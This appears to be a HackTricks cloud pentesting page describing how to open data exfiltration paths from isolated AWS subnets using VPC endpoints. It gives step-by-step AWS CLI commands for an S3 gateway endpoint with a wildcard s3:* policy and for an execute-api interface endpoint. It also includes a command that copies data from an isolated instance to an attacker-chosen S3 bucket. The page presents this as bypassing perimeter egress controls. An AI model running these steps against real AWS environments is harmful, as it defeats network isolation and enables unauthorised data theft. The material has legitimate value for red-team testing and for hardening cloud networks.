AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

{{#include ../../../../banners/hacktricks-training.md}}

Summary

This technique abuses VPC Endpoints to create exfiltration channels from subnets without Internet Gateways or NAT. Gateway endpoints (e.g., S3) add prefix‑list routes into the subnet route tables; Interface endpoints (e.g., execute-api, secretsmanager, ssm, etc.) create reachable ENIs with private IPs protected by security groups. With minimal VPC/EC2 permissions, an attacker can enable controlled egress that doesn’t traverse the public Internet.

Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.

Option A – S3 Gateway VPC Endpoint

Variables
- REGION=us-east-1
- VPC_ID=<target vpc>
- RTB_IDS=<comma-separated route table IDs of private subnets>

1) Create a permissive endpoint policy file (optional). Save as allow-put-get-any-s3.json:

{
  "Version": "2012-10-17",
  "Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}

2) Create the S3 Gateway endpoint (adds S3 prefix‑list route to the selected route tables):

aws ec2 create-vpc-endpoint \
  --vpc-id $VPC_ID \
  --service-name com.amazonaws.$REGION.s3 \
  --vpc-endpoint-type Gateway \
  --route-table-ids $RTB_IDS \
  --policy-document file://allow-put-get-any-s3.json   # optional

Evidence to capture:
- aws ec2 describe-route-tables --route-table-ids $RTB_IDS shows a route to the AWS S3 prefix list (e.g., DestinationPrefixListId=pl-..., GatewayId=vpce-...).
- From an instance in those subnets (with IAM perms) you can exfil via S3 without Internet:

# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION

Option B – Interface VPC Endpoint for API Gateway (execute-api)

Variables
- REGION=us-east-1
- VPC_ID=<target vpc>
- SUBNET_IDS=<comma-separated private subnets>
- SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>

1) Create the interface endpoint and attach the SG:

aws ec2 create-vpc-endpoint \
  --vpc-id $VPC_ID \
  --service-name com.amazonaws.$REGION.execute-api \
  --vpc-endpoint-type Interface \
  --subnet-ids $SUBNET_IDS \
  --security-group-ids $SG_VPCE \
  --private-dns-enabled

Evidence to capture:
- aws ec2 describe-vpc-endpoints shows the endpoint in available state with NetworkInterfaceIds (ENIs in your subnets).
- Instances in those subnets can reach Private API Gateway endpoints through those VPCE ENIs (no Internet path required).

Impact

  • Bypasses perimeter egress controls by leveraging AWS‑managed private paths to AWS services.
  • Enables data exfiltration from isolated subnets (e.g., writing to S3; calling Private API Gateway; reaching Secrets Manager/SSM/STS, etc.) without IGW/NAT.

{{#include ../../../../banners/hacktricks-training.md}}